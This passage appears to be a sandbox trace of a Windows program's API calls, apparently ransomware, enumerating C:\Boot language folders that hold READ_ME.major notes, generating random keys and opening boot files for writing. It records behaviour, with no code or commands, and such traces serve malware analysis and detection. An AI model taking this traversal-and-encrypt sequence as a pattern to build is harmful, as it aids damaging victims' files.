lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.545] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.545] SetFileAttributesW (lpFileName="\\Boot\\fr-FR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.545] CreateFileW (lpFileName="\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0143.546] FindFirstFileW (in: lpFileName="\\Boot\\hr-HR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f568 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0143.546] FindNextFileW (in: hFindFile=0x60f568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.546] GetLastError () returned 0x5 [0143.546] SetLastError (dwErrCode=0x5) [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0143.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f7a8 [0143.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f7a8 | out: hHeap=0x570000) returned 1 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0143.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0143.547] FindNextFileW (in: hFindFile=0x60f568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.547] FindNextFileW (in: hFindFile=0x60f568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] GetLastError () returned 0x5 [0143.547] SetLastError (dwErrCode=0x5) [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.547] FindNextFileW (in: hFindFile=0x60f568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.547] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.547] SetFileAttributesW (lpFileName="\\Boot\\hr-HR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.548] CreateFileW (lpFileName="\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.548] FindFirstFileW (in: lpFileName="\\Boot\\hu-HU\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f5e8 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.548] GetLastError () returned 0x5 [0143.548] SetLastError (dwErrCode=0x5) [0143.548] GetLastError () returned 0x5 [0143.548] SetLastError (dwErrCode=0x5) [0143.548] GetLastError () returned 0x5 [0143.548] SetLastError (dwErrCode=0x5) [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f0e8 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f0e8 | out: hHeap=0x570000) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0143.548] FindNextFileW (in: hFindFile=0x60f5e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.548] GetLastError () returned 0x5 [0143.548] SetLastError (dwErrCode=0x5) [0143.548] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f4a8 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f4a8 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0143.549] FindNextFileW (in: hFindFile=0x60f5e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.549] FindNextFileW (in: hFindFile=0x60f5e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] GetLastError () returned 0x5 [0143.549] SetLastError (dwErrCode=0x5) [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.549] FindNextFileW (in: hFindFile=0x60f5e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.550] GetLastError () returned 0x5 [0143.550] SetLastError (dwErrCode=0x5) [0143.550] GetLastError () returned 0x5 [0143.550] SetLastError (dwErrCode=0x5) [0143.550] GetLastError () returned 0x5 [0143.550] SetLastError (dwErrCode=0x5) [0143.550] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.550] FindNextFileW (in: hFindFile=0x60f5e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.550] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.550] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.550] SetFileAttributesW (lpFileName="\\Boot\\hu-HU\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.550] CreateFileW (lpFileName="\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.550] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.550] SetFileAttributesW (lpFileName="\\Boot\\hu-HU\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.550] CreateFileW (lpFileName="\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.550] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e3b8 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e188 | out: hHeap=0x570000) returned 1 [0143.551] FindFirstFileW (in: lpFileName="\\Boot\\it-IT\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f2e8 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f4e8 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.551] FindNextFileW (in: hFindFile=0x60f2e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] GetLastError () returned 0x5 [0143.551] SetLastError (dwErrCode=0x5) [0143.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0143.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.551] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f6e8 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f6e8 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0143.552] FindNextFileW (in: hFindFile=0x60f2e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.552] FindNextFileW (in: hFindFile=0x60f2e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, 